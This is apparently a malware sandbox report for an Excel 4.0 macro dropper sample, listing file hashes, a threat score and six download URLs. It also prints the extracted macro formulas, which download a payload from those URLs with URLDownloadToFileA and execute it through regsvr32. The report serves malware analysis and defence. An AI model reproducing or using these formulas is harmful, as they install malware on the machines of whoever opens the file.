Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    2f1b025bac2b17b0cd11c92be307b68d5ad83567465e5886f388b4ed5978a98a

  • Size

    40KB

  • Sample

    241111-2b647ayaqp

  • MD5

    07cf878f48755689522e733895daef1b

  • SHA1

    df436db7db6a73b7beda4886fd8ae66e90906ea5

  • SHA256

    2f1b025bac2b17b0cd11c92be307b68d5ad83567465e5886f388b4ed5978a98a

  • SHA512

    06edc528fd476a917033832beb3c0f494d78d320a1b062d5ed546b889c6b66540e3ca8632af053697201219fca536793a222d2a272a7f02799a708668b8c5736

  • SSDEEP

    768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      2f1b025bac2b17b0cd11c92be307b68d5ad83567465e5886f388b4ed5978a98a

    • Size

      40KB

    • MD5

      07cf878f48755689522e733895daef1b

    • SHA1

      df436db7db6a73b7beda4886fd8ae66e90906ea5

    • SHA256

      2f1b025bac2b17b0cd11c92be307b68d5ad83567465e5886f388b4ed5978a98a

    • SHA512

      06edc528fd476a917033832beb3c0f494d78d320a1b062d5ed546b889c6b66540e3ca8632af053697201219fca536793a222d2a272a7f02799a708668b8c5736

    • SSDEEP

      768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks